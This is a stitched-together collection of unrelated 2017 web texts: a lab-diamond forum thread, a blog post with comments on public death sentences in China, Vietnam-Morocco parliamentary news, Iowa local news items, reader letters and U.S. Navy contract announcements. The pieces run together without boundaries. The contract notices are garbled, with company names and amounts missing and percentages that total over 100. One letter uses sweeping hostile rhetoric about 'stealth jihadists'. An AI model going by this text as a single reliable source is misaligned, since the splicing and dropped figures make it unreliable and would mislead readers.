Lab diamonds have all the benefits of mined stones, with the additional cachet of being completely ethical and environmentally friendly. Aside from the fact that they've yet to figure out how to grow them cleanly past a carat, what's not to like?

nvie

Lab diamonds or mined diamonds......they are all carbons. I don't mind either one. The marriage with a diamond ring has been hyped up by the big jewellers like Tiffany, De Beers, etc. A lasting and happy marriage is priceless, anything else, it comes with a tag!

Candice0985

Agrees with nvie...feels ditto

smalls

I would also opt for a colored gemstone over a lab created diamond if I could not afford a natural diamond.

Elizat

I would not mind at all if I was going the diamond route (I think I'd prefer a colored stone). I think I'd like moissanite instead of a diamond anyway, unless a fantastic antique diamond crossed my path for an engagement ring.

The concern for environment voiced from time to time by prospect diamond buyers is a sign of the times, which is good and welcome. But it would be appropriate to say that any goods and services we buy  be they drinking water, food, shoes, clothing or whatever else - use energy to be produced and the source of that energy is mostly fossil fuels (like coal, petroleum, and natural gas), which are the major contributor to greenhouse gas emissions polluting the atmosphere. Energy production of all types accounts for more than two thirds of all harmful emissions. If your annual consumption of electricity is 3500 kWh (the worlds average), it means that your part in emitting carbon dioxide (CO 2 ) in the atmosphere is equal to 2.0 metric tons. Transportation generates 15% of global greenhouse gas emissions. Driving a typical passenger car means polluting the atmosphere with 4.7 metric tons of carbon dioxide every year. Electricity and transportation are the greatest ecological danger of all, but we will stop using them burning fossil fuels only when a powerful and lasting source of clean energy will be discovered.

On this energy background, any goods or services we purchase mean polluting the atmosphere and the ecological difference between natural diamonds and lab-grown diamonds (and all the other goods to that effect) is only in the amount of energy spent to produce them, which is a relative value varying not only from company to company, but even from diamond to diamond.

However, the only true distinction is there. Despite the similarity of some of their physical properties, lab-grown diamonds betray their artificial origin under proper inspection, as it is impossible to reproduce the unique journey of a natural diamond born billions of years ago in the molten mantle 100 miles beneath the surface of the Earth and brought to ones finger by volcanoes. The word natural means found in nature and not involving anything made or done by people as defined by the Cambridge Dictionary, whereas artificial means made by people, often as a copy of something natural, according to the same source.

So, it would be logical and appropriate to trade them separately, as they are two entirely different products  one is natural, and the other is artificial. However, there is an ongoing controversy around this issue due to unfair market competition fueled by occasional attempts to promote artificial diamonds at the expense and even under the guise of natural. Unfortunately, this controversy may delude would-be buyers choosing between these two different goods.

However, from what is said above by young people one thing stands out very clear and it is that they value true love and commitment in the first place. And this does not make them very different from other generations despite the change in communication ways. As for engagement rings, it seems that much depends on what they can afford in terms of their income and if they have enough money to buy a natural diamond ring, they will buy it. And if not, it will not mean their mutual feeling will be less genuine in any way  even without a ring at all. They are right saying that feelings depend on people, not on rings.

Aruna Gaitonde, Editor in Chief of the Asian Bureau, Rough&Polished
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 Remarkable Utah Supreme Court opinions debating due process rights (and originalism) in parole decision-making | Main | "The Unconstitutionality of Criminal Jury Selection" 

December 19, 2017

Notable account of notable application of death penalty in China

This article from The Guardian, headlined "Thousands in China watch as 10 people sentenced to death in sport stadium," highlights that criminal procedure and drug enforcement in another large nation can look a lot different than they do in the United States. Here are the details:

A court in China has sentenced 10 people to death, mostly for drug-related crimes, in front of thousands of onlookers before taking them away for execution. The 10 people were executed immediately after the sentencing in Lufeng in southern Guangdong province, just 160km (100 miles) from Hong Kong, according to state-run media. Seven of the 10 executed were convicted of drug-related crimes, while others were found guilty of murder and robbery. Four days before the event, local residents were invited to attend the sentencing in an official notice circulated on social media. The accused were brought to the stadium on the back of police trucks with their sirens blaring, each person flanked by four officers wearing sunglasses. They were brought one by one to a small platform set up on what is usually a running track to have their sentences read, according to video of the trial. Thousands watched the spectacle, with some reports saying students in their school uniforms attended. People stood on their seats while others crowded onto the centre of the field, some with their mobile phones raised to record the event, others chatting or smoking. China executes more people every year than the rest of the world combined, although the exact figure is not published and considered a state secret. Last year the country carried out about 2,000 death sentences, according to estimates by the Dui Hua Foundation, a human rights NGO based in the United States. China maintains the death penalty for a host of non-violent offences, such as drug trafficking and economic crimes. However, public trials in China are rare. The countrys justice system notoriously favours prosecutors and Chinese courts have a 99.9% conviction rate. The trend to reintroduce open-air sentencing trials is reminiscent of the early days of the Peoples Republic, when capitalists and landowners were publicly denounced. The most recent public sentencing and subsequent executions were not a first for Lufeng. Eight people were sentenced to death for drug crimes and summarily executed five months ago in a similar public trial, according to state media. The town was the site of a large drug bust in 2014, when 3,000 police descended on Lufeng and arrested 182 people. Police confiscated three tonnes of crystal meth, and authorities at the time said the area was responsible for producing a third of Chinas meth.

December 19, 2017 at 10:23 AM | Permalink

Comments

I oppose public executions. They ate highly rewarding in attention. They will inspire murderers seeking such attention. They may also contribute to an effect causing a jump in suicide. Chinese researchers should secretly study the number of suicides in the time after such news, and similar times of the years without such news. They may be killing four times as many ill people by suicide as criminals by execution.

The Chinese are also responsible, nor for 2000 executions for drug related offenses. They are responsible for 60,000 deaths for drug related offenses in the United States, by their supplying carfentanyl to heroin dealers.

Posted by: David Behar | Dec 19, 2017 12:05:33 PM

The Chinese think that imitating us is effective. They went 10% capitalist and became the biggest economy in the world.

In revenge, we infected them with the overlawyering bug. Imagine taking the bar exam in the 20,000 character alphabet of Mandarin. They are copying us by increasing the number of their lawyers. As a result, crime is shooting up in China.

Posted by: David Behar | Dec 19, 2017 12:08:58 PM

"The countrys justice system notoriously favours prosecutors and Chinese courts have a 99.9% conviction rate."

How is that different from the US? We have a 95% plea agreement rate. We then have an 80% conviction rate after a trial. That is a total of 99% conviction rate in the US.

Posted by: David Behar | Dec 19, 2017 12:12:51 PM

"How is that different from the US? We have a 95% plea agreement rate. We then have an 80% conviction rate after a trial. That is a total of 99% conviction rate in the US."

The conviction rate after a trial is 75% meaning that the total conviction rate is more like 98%. Get your facts straight.

Posted by: Lumpy | Dec 19, 2017 12:20:21 PM

Thank you, Lumpy. I always admit to my mistakes.

Posted by: David Behar | Dec 19, 2017 3:28:44 PM

No offense lumpy but 1% is a rounding error

Posted by: Rodsmith3510 | Dec 19, 2017 5:25:32 PM

Post a comment
Chairwoman of the National Assembly of Vietnam Nguyen Thi Kim Ngan and President of the Moroccan House of Representatives Habib El Malki held talks after a welcome ceremony for the Moroccan top legislator, who makes an official visit to Vietnam from December 16-22.The host and guest expressed their pleasure at the growing relations between the two legislatures thanks to exchange of visit as well as regular meetings, consultations and mutual support at multilateral forums such as the Inter-Parliamentary Union (IPU) and the Parliamentary Assembly of Francophonie (APF).They agreed to step up high-level delegation exchanges to increase mutual understanding and trust as well as strengthen coordination at the aforesaid multilateral forums.The two sides will coordinate to monitor the implementation of agreements signed between the two countries governments and ministries for mutual benefits.The two parliamentary leaders noted that economic and trade ties are still modest, with bilateral trade at only US$ 190 million in 2016, and vowed to further promote those ties.Chairwoman Ngan affirmed that Vietnam attaches much importance to developing friendship and multidimensional cooperation with African countries, of which Morocco is a priority partner in North Africa.She congratulated Morocco for coming back to the African Union and hoped the country will support the development of relations between Vietnam and the union.The National Assembly of Vietnam supports the enhancement of multifaceted cooperation with Morocco via refining the legal system and creating a favourable legal framework for Moroccan businesses, she noted.The NA Chairwoman recommended forging connectivity between the two countries businesses in such potential fields as trade, tourism, finance, and renewable energy, looking toward the establishment of a joint business council.Vietnam and Morocco need to step up trade promotion activities, increase business delegation exchanges at international workshops, forums and trade fairs while tapping cooperation potential in agriculture, mining, construction material, chemicals, garment-textile, footwear, and food processing, Ngan said.She suggested that the two sides should establish direct payment ties between their commercial banks and use the Moroccan banking network in Africa to support business activities, including payment, for Vietnamese firms in the region.Ngan took this occasion to thank the Moroccan Government and House of Representative for facilitating the settlement and integration of the Vietnamese community in the African country, adding that the overseas Vietnamese will continue to be an important factor to tighten the bilateral friendship and promote two-way trade.For his part, the Moroccan parliament leader described Vietnam as a dynamic and future-oriented country, noting that he wants to study the Southeast Asian countrys history and culture to boost bilateral cooperation in the fields.He congratulated Vietnam on the successful organisation of the APEC Economic Leaders Week in Da Nang in November and described Vietnam as a gateway to connect Morocco with the Association of Southeast Asian Nations (ASEAN). Vice versa Morocco is ready to link Vietnam with Africa, he said, adding that the two sides should work together to build cooperation strategies to make use of these advantages.Vietnam and Morocco have shared common principles and values in external policies, which are protecting and promoting peace, security and prosperity of nations, Malki said. He stressed that Morocco supports Vietnams stance on addressing all disputes via peaceful dialogues.Regarding the East Sea issue, Chairwoman Ngan reiterated Vietnams consistent policy of settling sovereignty and territory disputes peacefully on the basis of respecting international law, including the 1982 UN Convention on the Law of the Sea (UNCLOS).She told the guest that Vietnam has preserved a Moroccan-style village gate in Hanoi, which was constructed in 1956-1960 by Moroccan soldiers who joined the League for the Independence of Vietnam (Viet Minh) in the resistance war against France, saying that the work demonstrates the solidarity and cooperation between the two countries.Ngan accepted the invitation of the Moroccos President of House of Representatives to pay an official visit to the country in an early time.After talks, the two sides signed a cooperation agreement between Vietnams National Assembly and Moroccos House of Representatives.They later informed the outcomes of their talks to the press.The same day, Chairwoman Ngan is scheduled to host a banquet for the guest and his spouse.

VNS
WALL LAKE, Iowa | A teenager died Saturday afternoon in a farming accident near Wall Lake, authorities said.

Ethan Glenn Nissen, 17, was killed when an end-loader he was driving rolled over shortly after 12:30 p.m. Saturday, according to a news release from the Sac County Sheriff's Office.

The release said Nissen was scooping manure using a 200 Caterpillar end-loader in the 2100 mile of 340th Street, northwest of Wall Lake, when the incident occurred. Nissen was working for Quirk Farms.

When first responders arrived, they found Nissen inside the cab, according to the release. He was pronounced dead at the scene.

Those responding included the Sac County Sheriff's Office, Wall Lake Fire and Rescue, Sac County Ambulance, the Sac County Medical Examiner's Office and the Iowa Department of Natural Resources Game Warden.
OMAHA | A Bancroft, Nebraska, man has pleaded guilty to his role in the April robbery of a Bancroft bank.

Lenn Zuhlke, 55, entered his plea Monday in U.S. District Court in Omaha to one count of bank robbery. Sentencing was set for March 19.

According to a plea agreement, Zuhlke admitted to picking up Jeffrey Bonneau on April 20 and driving him to the vehicle he used before and after robbing First Bank of Bancroft. Bonneau, 38, of Bancroft, pleaded guilty in November to bank robbery and possession of a firearm by a prohibited person.

Bonneau walked into the bank wearing a dark motorcycle helmet and demanded money from the tellers, who recognized his voice. Bonneau fled on an ATV after taking $6,745 from the bank. Officers tracked him to a grove of trees, where he brandished a handgun. After taking cover and waiting for 15 minutes, officers heard Bonneau fire a shot before fleeing on the ATV, court documents said.

Bonneau rolled the ATV and was hospitalized for several days because of his injuries.

Authorities recovered approximately $1,020 in cash from Bonneau's hiding spot and another $4,205 that had been placed in a tree. Bonneau later admitted to robbing the bank and directed officers to the money.
Update: Bernal was captured on Jan. 28, 2018.

The U.S. Marshals Service Northern Iowa Fugitive Task Force is seeking the public's assistance in locating the following person:

* Freddy Bernal, 31. Bernal is 5 feet 4 inches tall and weighs 140 pounds. He is wanted by the Iowa Department of Corrections for parole violation. Bernal has several tattoos including Spanish writing on his chest.

Anyone with information can call the Northern Iowa Fugitive Task Force at 712-252-0211, email siouxlands.mostwanted@usdoj.gov or text the keyword TEN99 and the tip to tip411 (847411).
SIOUX CITY | Singing "O Come, O Come Emmanuel" the entire way, the Bishop Heelan Catholic School student body participated in the Eucharistic procession, Monday morning, from the school's former 1021 Douglas St. chapel to the new chapel located inside the Heelan Fine Arts Building at 1201 Grandview Blvd.

The procession began after the Holy Mass was performed at the main chapel for the final time.

The Rev. Shane Deman, chaplain of Bishop Heelan High School, said the beginning of the procession -- which included altar servers, candles and incense -- marked the closure of the chapel that had been serving students since 1949.

Students were also finishing their finals as the school was closing for its Christmas break.

The procession concluded in part of the school's $10 million academic wing, which is nearing completion. When students return from their Christmas break on Jan. 5, classes will be held in the new school.

"This marked the first time many of the students have seen the new wing," said Heelan Principal Christian Bork. "I think some of the students were feeling some apprehension because of the history held by the old school. But they're also excited to be a part of the next chapter of Heelan."

That's exactly the way Deman, himself a 1999 Bishop Heelan High School graduate, said he felt.

"We've had parents, grandparents and great-grandparents form wonderful memories over the past 70 years," he said. "We are anxious to begin forming memories at the next school for at least the next 70 years."
SIOUX CITY | As costs of teaching pupils continue to go up, the Sioux City School Board will struggle to receive and direct enough revenue in the school district budget ahead for the 2018-19 year.

In the first full discussions on the 2018-19 budget, the school board members were told Monday to expect little if any growth from the Iowa Legislature to fund programs. The supplemental state aid growth rate, or the percentage amount of additional money received above the current year, is expected to be either zero percent or 1 percent at most, Sioux City School District Finance Director Patty Blankenship said in the school board meeting.

Blankenship presented preliminary 2018-19 spending authority projections for the general fund and laid out the calendar toward setting the budget by the state deadline of April 15, which is the same for all Iowa school districts.

Sioux City School Board President Mike Krysl said the severe problem is the trend in school funding from the Legislature over eight years since 2010-11, when new money to K-12 state schools went up an average of 1.8 percent per year. Comparatively, over those eight years Sioux City district costs went up on average by 3.2 percent per year.

For months dating back to summer, such board members as Krysl had said they fear no growth could be set by legislators, once they gavel in for the 2018 session in January.

The Iowa Legislature approved a 1.1 percent increase in supplemental state funding for K-12 districts for the current budget year that began July 1.

Monday's talks were the first phase of the FY19 general fund budget process. Blankenship noted the general fund budget directly impacts the level of services the district is able to provide to the roughly 15,000 students.

The spending authority projections were prepared assuming zero percent and 1 percent growth in supplemental state aid, a category that in previous years had been called the allowable-growth percentage rate. The districts spending authority impacts the development of the general fund budget.

Blankenship, Krysl and Superintendent Paul Gausman said if revenues continue to trend in low-percentage increases, the Sioux City School District will have to tap reserves, which is not a sustainable financial plan. They said dire expense cuts would have to occur to prevent such a drain on reserves.

The school district has gained 19 students more than when compared to the 2016-17 year, so that means more money will come in the per-pupil component of state funding. Blankenship said under the supplemental state aid 1 percent increase scenario for 2018-19, the district would have $188.6 million in maximum authorized budget, which roughly translates to the total revenue.

The Sioux City School District is being operated this year with a $170 million budget, which reduced spending by about $2 million from the 2016-17 year.

This year, the district's property tax rate is $15.30 per $1,000 of assessed valuation, or down by 9 cents per $1,000 from the $15.48 of last year.

The projection of the property tax rate for 2018-19 will come in the Feb. 26 board meeting, and two other meetings in early 2018 (Jan. 22 and Feb. 12) will highlight other key budget figures.

The budget timeline shared by Blankenship recommends that final changes to the financial plan be made on March 12, then the budget is expected to be adopted after a final public hearing on April 9.
SIOUX CITY | Sioux City residents now have two fewer days to shoot fireworks to celebrate the new year and eight fewer surrounding Independence Day, according to a change to the city's fireworks ordinance finalized Monday.

The City Council voted 5-0 on the final two readings of an ordinance amendment that will limit fireworks discharge to 1 to 11 p.m. July 3 and 4 and from 1 p.m. Dec. 31 to 12:30 a.m. Jan. 1. The change will go into effect in time for the upcoming New Year's holiday.

Monday's vote followed several noise complaints received by council members during the 10-day window for discharge allowed in June and July, which led them to consider shortening the window to two days.

Sioux City had first instituted its fireworks ordinance earlier this year after the state legalized fireworks sales and discharge during certain times of the year. The state allows residents to discharge fireworks 9 a.m. to 10 p.m. June 1 through July 8, with an extension to 11 p.m. on July 4. The same rules are in effect from Dec. 10 through Jan. 3, with an extension to 12:30 a.m. on Jan. 1. Local governments can shorten the dates and times for discharge but not the sale.

Sioux City had originally allowed discharge during afternoon and evening hours from June 25 to July 4 and Dec. 30 to Jan. 1.

Only one member of the public spoke Monday, suggesting a five- to seven-day window would be more reasonable. Council members said they feel that two days are adequate.

"I was contacted by a couple people, and more than anything everyone overwhelmingly said please do not extend the time," said Councilman Alex Watters.

Councilwoman Rhonda Capron said she feels the new dates strike a "happy balance."

Development agreements

In other action Monday, the council approved development agreements for three historic renovation projects planned by the Omaha-based firm J. Development.

The agreements will provide about $2.5 million in city assistance for the approximately $35 million in renovations at the former Hatch Furniture Building, Commerce Building and former Methodist Hospital. The buildings will turn into mixed-use buildings that will include commercial space and more than 170 apartment units. The city expects to recoup its expenses in eight years.

Julie Stavneak, a principal with J. Development, told the council the federal Historic Tax Credit -- which the J. Development projects plan on using -- no longer looks to be in jeopardy in Congress's tax reform bill. She said details released Friday of the bill to be voted on by the House and Senate maintains the 20 percent credit, although it will now be paid out over five years, rather than the current entire sum.

Earlier this year, she had said that credit's absence would be detrimental to the projects.

"We feel like we're in a great place," she said.

Siouxland Paramedics agreement

The council also voted 4-1, with Mayor Bob Scott dissenting, on terms of separation with Siouxland Paramedics Inc., the nonprofit ambulance service that has long provided emergency services within the city limits.

SPI, citing financial difficulties, will cease to provide such services on Jan. 1. Under the terms of its separation, Sioux City will allow SPI to keep one of the current ambulances, with the remaining eight ambulances and accompanying equipment reverting to the city.

Sioux City has staffed a brand-new 27-employee EMS Division within Sioux City Fire Rescue that will take over 911 services within city limits on Jan. 1.
SIOUX CITY | A man died from injuries in a Monday three-vehicle collision in Sioux County in Northwest Iowa.

The Sioux County Sheriff in a release said Cornelius Van Zanten, 89, of Rock Valley, Iowa, died of injuries sustained in the collision. The wreck occurred just before 4 p.m. Monday at the Fig Avenue and 305th Street intersection, east of Rock Valley.

The release said Zachary Van Den Top, 20, of Hull was driving southbound on Fig Avenue, and Albert Van Zanten, 84, of Rock Valley, was driving westbound on 305th Street. The sheriff's office said Van Den Top did not stop at the intersection stop sign and collided with Van Zanten's vehicle.

Albert Van Zanten's pickup was forced by the impact into another vehicle, a refrigerated food truck driven eastbound on 305th Street by Jerry Gladis, 37, of Brandon, South Dakota.

Albert Van Zanten's pickup sustained $25,000 in damage. He, Donald Postma, 83, of Rock Valley, and Cornelius Van Zanten were taken by ambulance to Hegg Memorial Hospital in Rock Valley. Cornelius Van Zanten was a passenger in the back seat, and died from injuries from the wreck.

The collision remains under investigation.
Todays top picks from our online calendar. Find more events at siouxcityjournal.com/calendar.

Show Choir Preview

Support the Sioux City East Show Choirs in their first public performance of 2017-2018! Shows at 4:30 and 7 p.m. at East High School, 5011 Mayhew Ave. Admission $5.

Invasive Crop Contamination

The Living River Group of the Sierra Club is hosting a presentation by Glenn Pulse and Angela Jackson about the aerial spray damage their organic farm suffered this past summer 7 p.m. at Vermillion Public Library, 18 Church St., Vermillion, S.D. As a result of this incident they have met with the Clay County Commission, the Vermillion City Council and State of South Dakota officials to improve rules and regulations governing aerial spraying.

Christmas Stories with SD First Lady

A special Christmas story time with South Dakotas First Lady, Linda Daugaard, will be held at 4 p.m. at the Yankton Community Library, 515 Walnut St, Yankton, S.D. Mrs. Daugaard will be reading Christmas stories in the library meeting room. There will also be some fun Christmas treats.
DES MOINES  Visitors Monday to the Iowa Capitol had two new exhibits to view along with the usual array of murals, statues and displays  a Nativity scene with the baby Jesus and a separate depiction of the Bill of Rights featuring some of the Founding Fathers and the Statue of Liberty.

For the second straight year, the Thomas More Society  a national not-for-profit law firm  and the American Nativity Scene organization installed a privately funded manger scene in the Capitol rotunda to promote a Christ-centered holiday observance, said Martin Cannon, a society attorney.

And, directly across the rotunda, the Freedom From Religion Foundation installed a Bill of Rights display, depicting Benjamin Franklin, Thomas Jefferson, George Washington and the Statue of Liberty honoring the document placed in a manger with a sign stating: ... there can be no religious freedom without the freedom to dissent. Keep religion and government separate! The display notes it is not owned, maintained, promoted, supported by or associated with the state of Iowa.

People are a little befuddled at first because its a little unusual and it shouldnt be unusual, Cannon said of the religious display in the rotunda. The questions that arise about the propriety of such a thing in the public space are easily resolved and very well settled. Its really not a difficult issue.

We hope that this just becomes an annual celebration of Christmas and not an annual argument over the propriety of having it here, he added.

Both groups were required to sign a contract with the Iowa Department of Administrative Services, spelling out how each display will be handled, said Rep. Mary Ann Hanusa, R-Council Bluffs, who was on hand at a ceremony marking the arrival of the traditional Christian creche that will be on display until Dec. 26.

Groups putting up holiday displays also must purchase an insurance policy to protect the state from expenses, such as if someone trips over the objects, she added.

Hanusa and Gov. Kim Reynolds, who also attended the Nativity ceremony, noted that the Capitol is open to all faiths and traditions that wish to convey their beliefs, and the two displays make that point.

We are excited to share our Christmas message with the public, as the Constitution allows us to do, said Cannon. More than just an opportunity to share our faith, it is a chance to invite everyone to seek peace on earth and goodwill to all.
Almost every Associated Press news article I read in The Sioux City Journal is greatly slanted against the Republican agenda (including their tax reform plan). The Sioux City Journal editorial board comes out against the Republican tax reform plan as it is not bipartisan legislation. I must ask The Journal what they think the Democrats would want to add or subtract from this legislation, which would not be a poison pill to this process? Lets face it, the Democrats want to stall this out so that they can keep saying (not accurately) that the Republicans cant get anything accomplished.

If this legislation is as bad as the Democrats and the mainstream media state, the Democrats will be able to win the upcoming 2018 and 2020 elections just as the Republicans did after the false Democratic predictions and promises of the Obamacare law in 2009.

Nancy Pelosi says this legislation is Armageddon to our country. Or is it Armageddon to the Democrats who are up for re-election in 2018 if the economy booms to 3 percent-plus GNP growth? Lets remember that the past eight years of overtaxation, overregulation and wealth redistribution brought us an anemic 1 percent to 2 percent GNP growth and a whopping $8.7 trillion in extra debt.

I am one that would also like bipartisan legislation on the major issues of the day, but I dont see this happening when you have the major news outlets being so biased (over 90 percent) in their news coverage and analysis favoring their Democratic Party. - Bill Young, Le Mars, Iowa
A Dec. 10 Letter writer criticizes President Trumps declaration of Jerusalem as Israels capital and asks the U.N. to define a Palestinian state as it did for Israel. The fact is, the U.N. already did that in the 1947 Partition Plan. The Jewish agency accepted the plan and on May 14, 1948, declared the formation of Israel on the areas (mostly desert) allotted to the Jews by the Plan. The Arabs rejected the Plan and Syria, Jordan and Egypt attacked the Jewish settlers on May 15, the next day. Many additional attacks have been mounted, including in 1967 and 1973, with the goal of claiming all the land. Israel prevailed and holds Jerusalem and what is now called the West Bank. Only under Israeli control since 1967 have the holy sites been open to visitors. I have personally seen throngs of people of all religions from all over the world visiting those sites.
Christmas is gift-giving time. However, there are those who never seem to fully see or open the best gift under their tree. Each year, the gift is graciously offered, but yet rejected or casually overlooked for the gifts that come with pretty bows and glittery Christmas wrap. This simple-wrapped gift, by its outward appearance, seems plain and may not seem as appealing as the others.

We will soon tire and not even recall the temporary material gfits with the most beautiful outward appearance. Unfortunately, the best gift that may never be opened by some is the most beautiful, wonderful, everlasting, precious gift anyone could ever be offered.

Be sure to open all of your presents this year, especially that one plain, ordinary one because when you finally get around to opening it you will find it to be the most glorious and best gift you will ever receive to cherish forever.

And his name is Jesus. - Connie Bartels, Sioux City
The gravity of the existential threat we face from Islamic Jihad is truly of epic proportions. It is essentially a battle pitting free-civilized man against a totalitarian barbarian. What is at stake is the struggle for our very soul - namely who we are and what we represent. The lives that were sacrificed for individual rights and freedoms that we've come to cherish are being chiseled away from right under our noses by the stealth jihadists. And many of us are in denial and totally clueless.



The left's appeasement and pandering to evil is nothing new. What makes their utopian delusions so infuriating and unpardonable is that it is not only they who will have to pay the consequences, and deservedly, so, they are thwarting and undermining our best efforts at resistance and are thus dragging us down in the process as well.







By Peter Lancz,, the head of the Raoul Wallenberg World Campaign Against Racism.
WASHINGTON

(December 19, 2017)The U.S. Department of Defense recently announced the following contract awards that pertain to local Navy activities.No applicable data., is being awarded a not-to-exceedfor modification P00001 to a previously awarded undefinitized contract (N00019-18-C-1002). This modification is for the procurement of 618 Joint Standoff Weapon (JSOW) air-to-ground missiles (AGM-154 Block III C), containers, component parts/support equipment (spares) and engineering technical assistance for the government of Saudi Arabia, under the Foreign Military Sales program. Work will be performed in Tucson, Arizona (36.6 percent); Glascoed, Wales, United Kingdom (15.6 percent); Dallas, Texas (11.7 percent); Glasgow, Scotland, United Kingdom (6.2 percent); Vergennes, Vermont (5.3 percent); Minneapolis, Minnesota (3.4 percent); Richardson, Texas (2.9 percent); Andover, Massachusetts (2.5 percent); McAlester, Oklahoma (2.0 percent); Joplin, Missouri (2.0 percent); Tulsa, Oklahoma (1.9 percent); Goleta, California (1.6 percent); Williamsport, Pennsylvania (1.5 percent); Berryville, Arkansas (1.1 percent); Bohemia, New York (1.1 percent); Orchard Park, New York (1.0 percent); Pinellas Park, Florida (0.8 percent); Boulder, Colorado (0.7 percent); Valencia, California (0.4 percent); and other U.S. locations (1.6 percent), and is expected to be completed in June 2022. Foreign military sales funds in the amount of $148,195,517 are being obligated on this award, none of which will expire at the end of the current fiscal year. The, is the contracting activity., is being awarded aindefinite-delivery/indefinite-quantity contract for the procurement of installation, systems integration, test and evaluation, in-service engineering, logistics, repair and validation, training, lab maintenance, quality assurance, and technical management services for the Multi-Mission Datalink System. These services are in support of the Naval Air Warfare Center Aircraft Division's Combat Integrated and Identification Systems Division for Systems Engineering and Technical Services Department (AIR-4.11.2). Work will be performed in St. Inigoes, Maryland (50 percent); and various ship/shore locations (50 percent), and is expected to be completed in January 2023. No funds will be obligated at time of award. Funds will be obligated on individual task orders as they are issued. This contract was competitively procured via an electronic request for proposal, one offer was received. The, is the contracting activity (N00421-18-D-0001).No applicable data., is being awarded acost-plus-fixed-fee delivery order (N0042118F0007) against a previously issued basic ordering agreement (N00421-14-G-0001) for the F414 engine component improvement program to include engineering and engine system improvement support for the Navy and government of Australia. Work will be performed in Lynn, Massachusetts, and is expected to be completed in December 2018. Fiscal 2018 aircraft procurement (Navy) funding in the amount of $209,022; fiscal 2018 research, development, test and evaluation (Navy) funding in the amount of $12,238,419; and foreign military sales funding in the amount of $546,388 will be obligated at time of award, none of which will expire at the end of the current fiscal year. This order combines purchases for the Navy ($12,447,441); and the government of Australia ($546,388) under the Foreign Military Sales program. The, is the contracting activity., is being awarded afirm-fixed-price, cost-plus-fixed-fee modification to a previously awarded contract (N00174-15-C-0009) to provide four upgraded and overhauled Mk 45 mod 4 five-inch/62 caliber gun mounts. This modification is to fulfill specified requirements and technical performance requirements for the Mk 45 mod 4 gun system requirements. The Mk 45 gun system provides an effective weapon for anti-surface warfare, naval surface fire support and anti-air warfare missions on DDG 51-class destroyers and CG 47-class cruisers. Work will be performed in Louisville, Kentucky, and is expected to be completed by January 2021. Fiscal 2017 weapons procurement (Navy) funding in the amount of $46,753,385 will be obligated at time of award and will not expire at the end of the current fiscal year. The statutory authority for this sole-source award is in accordance with Federal Acquisition Regulation 6.302-1(a)(2) - only one responsible source and no other supplies or services will satisfy agency requirements. The, is the contracting activity., is being awardedfor firm-fixed-price, delivery order N0001918F0520 against a previously issued basic ordering agreement (N00019-16-G-0001). This delivery order provides for procurement of Harpoon/SLAM-ER missile system and Harpoon launch systems follow-on integrated logistics and engineering services support for the Navy; and various foreign military sales (FMS) customers. Work will be performed in St. Charles, Missouri (91.84 percent); St. Louis, Missouri (5.47 percent); Yorktown, Virginia (2.64 percent); and Oklahoma City, Oklahoma 0(.05 percent), and is expected to be completed in February 2020. Fiscal 2018 operations and maintenance (Navy); and foreign military sales funds in the amount of $10,326,551 are being obligated on this award; $2,473,484 of which will expire at the end of the current fiscal year. This contract combines purchases for the Navy ($2,473,484; 23.95 percent); and the governments of Korea ($1,035,098; 10.02 percent); Taiwan ($779,021; 7.54 percent); Turkey ($677,959; 6.57 percent); Egypt ($635,628; 6.16 percent); Japan ($611,881; 5.93 percent); Saudi Arabia ($595,464; 5.77 percent); Australia ($445,323; 4.31 percent); United Kingdom ($406,934; 3.94 percent); India ($334,131; 3.24 percent); Canada ($316,590; 3.06 percent); Chile ($309,813; 3 percent); Singapore ($252,498; 2.45 percent); Israel ($251,591; 2.44 percent); Thailand ($228,085; 2.21 percent); Bahrain ($166,383; 1.60 percent); United Arab Emirates ($159,890; 1.55 percent); Kuwait ($133,398; 1.29 percent); Oman ($127,837; 1.24 percent); Malaysia ($121,832; 1.18 percent); Germany ($85,178; 0.82 percent); Portugal ($72,060; 0.70 percent); Netherlands ($63,884; 0.62 percent); and Denmark ($42,589; 0.41 percent) under the Foreign Military Sales program. The, is the contracting activity., is being awarded acost-plus-fixed-fee, indefinite-delivery/indefinite-quantity contract. This contract provides for aircraft maintenance, manufacturing of parts, instrumentation, aircraft modifications and engineering support for the F/A-18A-F and EA-18G aircraft, including future variants, domestic and foreign military sales, for ground and flight test programs conducted at the Naval Air Warfare Center Aircraft Division, Patuxent River, Maryland. Work will be performed in Patuxent River, Maryland, and is expected to be completed in December 2022. No funds will be obligated at time of award. Funds will be obligated on individual task orders as they are issued. This contract was not competitively procured pursuant to Federal Acquisition Regulation 6.302-1. The, is the contracting activity (N00421-18-D-0013)., is being awardedfor modification P00030 to a previously awarded firm-fixed-price, indefinite-delivery/indefinite-quantity contract (N00019-13-D-0016). This modification provides for additional field service representatives, training and program management services for the ScanEagle Unmanned Aviation System in support of Navy Special Warfare fleet operations. Work will be performed in Bagram, Afghanistan (83 percent); and Bingen, Washington (27 percent), and is expected to be completed in September 2018. No funds will be obligated at the time of award. Funding will be obligated on individual task orders as they are issued. The, is the contracting activity., is being awardedfor cost-plus-fixed-fee delivery order N0001918F2005 against a previously issued basic ordering agreement (N00019-16-G-0001). This delivery order provides for the procurement of one Ground Calibration of Operational Loads Monitoring System installed on a P-8A lot 7 production aircraft in support of the government of Australia. Work will be performed in Seattle, Washington, and is expected to be completed in January 2019. Cooperative engagement agreement funds in the amount of $16,994,941 will be obligated at time of award, none of which will expire at the end of the current fiscal year. The, is the contracting activity., is being awardedfor modification P00008 to a previously awarded firm-fixed-price contract (N00019-15-C-0108) for the procurement of 65 Distributed Targeting System (DTS) B-kits and 22 operational bulk data cartridges from full-rate production (FRP) lot 5 and 25 DTS B-kits and eight operational bulk data cartridges from FRP 6 for F/A-18E/F and EA-18G aircraft. Work will be performed in Melbourne, Florida, and is expected to be completed in May 2020. Fiscal 2017 and 2018 aircraft procurement (Navy) funds in the amount of $15,919,920 are being obligated at time of award, none of which expire at the end of the current fiscal year. The, is the contracting activity., was awarded afirm-fixed-price contract to procure conversion kits to modify G3 generator converter units to the G4 variant and G4 generator converter units for the F/A-18 aircraft in support of the government of Australia. Work will be performed in Vandalia, Ohio, and is expected to be completed in November 2018. Foreign military sales funds in the amount of $9,699,196 were obligated at time of award, none of which will expire at the end of the fiscal year. This contract was not competitively procured pursuant to Federal Acquisition Regulation 6.302-1. The, is the contracting activity (N00019-18-C-0004). (Awarded Dec. 15, 2017)
Ahman Rah Page, 18, of Waldorf Loren Rupert Clark, 20, of Waldorf Nicholas Jabbar Williams, 20, of Waldorf Vernon Lee Campbell, Jr., 48, of Temple Hills Previous Next

LA PLATA, Md.

